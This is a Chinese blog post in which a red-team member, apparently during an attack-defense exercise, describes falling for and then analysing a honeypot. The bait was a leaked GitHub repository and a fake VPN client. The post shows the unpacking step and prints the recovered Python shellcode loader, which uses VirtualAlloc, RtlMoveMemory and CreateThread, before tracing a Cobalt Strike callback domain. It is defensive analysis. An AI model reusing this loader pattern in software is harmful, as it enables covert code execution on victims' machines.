在一次攻防演练中,我偶然发现了伪装成GitHub信息泄漏,从而导致对红队人员进行钓鱼的后门。
0x01 信息收集
GitHub信息泄漏
在根据甲方提供的信息进行常规的GitHub敏感信息收集时,我意外地发现一个不寻常的仓库。
仔细观察后,我发现里面泄漏了MySQL账号密码,于是兴致勃勃地打开Navicat尝试连接。
然后,我访问了仓库源码的8080端口,发现了一个管理后台。
弱口令
对于后台,我尝试使用一些弱口令,例如admin/admin,果然成功登录。
进入后,竟然发现了账号密码,而且客户端解压密码居然都贴心地放在那。
在这一步,我并没有意识到任何异常,以为我能够顺利获取VPN入口权限,于是急忙下载VPN客户端。
解压后的文件看起来还没发现异常。
分析溯源
在虚拟机中仔细观察时,却发现VPN客户端提示不兼容当前系统,同时弹窗中有Python代码编写的特征。这使得前面的攻击过程显得过于顺利,有些不自然,引起了我的警觉。
包括前面弱口令的提交方式居然是admin.php?user=admin&passwd=admin。
由于发现VPN客户端是用Python语言编写的,这更让我感到不对劲,于是尝试对其进行反编译。
解包
<code>python3 pyinstxtractor.py vpnclient64.exe</code>
生成一个名为exe文件名+_extracted
的文件夹,里面包含解包后的数据。
由于PyInstaller打包后,pyc文件的前8个字节会被抹掉,因此需要手动添加回去。
添加头
根据struct.py文件进行添加。
源码
得到easyvpn64.py
为后门主程序的py文件,其中执行shellcode代码隐藏在图片中。
<code># easyvpn64.py import base64 import ctypes str = b'' sc_base64 = (base64.a85decode(str)).decode('utf-8') shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8'))) ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))</code>
得知shellcode loader的加载方式后,我成功提取了CS回连地址。
溯源
通过回连地址cs.xxx.cn
进行nslookup
解析,然后根据IP地址定位到某个宿舍。
最终,我直接溯源到人,并通过Telegram进行相关沟通。
总结
在攻防演练中,务必保持警惕,防止被钓鱼。同时,这次的钓鱼事件让我警觉到一些攻击的痕迹,以便更加谨慎地处理类似情况。
暂无评论内容